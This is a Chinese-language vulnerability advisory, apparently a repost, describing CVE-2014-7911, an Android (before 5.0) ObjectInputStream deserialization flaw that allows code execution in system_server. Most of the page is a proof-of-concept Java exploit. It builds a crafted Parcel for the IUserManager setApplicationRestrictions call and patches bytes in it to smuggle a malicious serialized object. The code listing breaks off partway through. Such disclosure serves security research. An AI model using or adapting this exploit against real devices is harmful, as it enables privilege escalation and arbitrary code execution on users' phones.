Google Android本地权限提升漏洞(CVE

发布日期:2014-11-19
更新日期:2014-11-20

受影响系统:
Google Android < 5.0
描述:
BUGTRAQ  ID: 71176
 CVE(CAN) ID: CVE-2014-7911

Android是基于Linux开放性内核的操作系统,是Google公司在2007年11月5日公布的手机操作系统。

Android 5.0之前版本Java.io.ObjectInputStream没有检查要反序列化的对象是否真的可以序列化,攻击者利用此漏洞通过恶意对象可在system_server进程中执行任意代码并获取提升的权限。

<*来源:Jann Horn
 
  链接:
 *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
===============================================================================
package net.thejh.badserial;

import java.io.Serializable;
 import java.io.UnsupportedEncodingException;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;

import dalvik.system.DexClassLoader;

import android.app.Activity;
 import android.content.Context;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.util.Log;

public class MainActivity extends Activity {
        private static final java.lang.String DESCRIPTOR = "android.os.IUserManager";
        private Class clStub;
        private Class clProxy;
        private int TRANSACTION_setApplicationRestrictions;
        private IBinder mRemote;
       
        public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
 userHandle) throws android.os.RemoteException
        {
                android.os.Parcel _data = android.os.Parcel.obtain();
                android.os.Parcel _reply = android.os.Parcel.obtain();
                try {
                        _data.writeInterfaceToken(DESCRIPTOR);
                        _data.writeString(packageName);
                        _data.writeInt(1);
                        restrictions.writeToParcel(_data, 0);
                        _data.writeInt(userHandle);
                       
                byte[] data = _data.marshall();
                for (int i=0; true; i++) {
                        if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
                                data[i] = 'a';
                                data[i+1] = 'n';
                                break;
                        }
                }
                _data.recycle();
                _data = Parcel.obtain();
                _data.unmarshall(data, 0, data.length);
                       
                        mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
                        _reply.readException();
                }
                finally {
                        _reply.recycle();
                        _data.recycle();
                }
        }

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1ebc1205c475d021fb7ecdcbe0dfefdb.html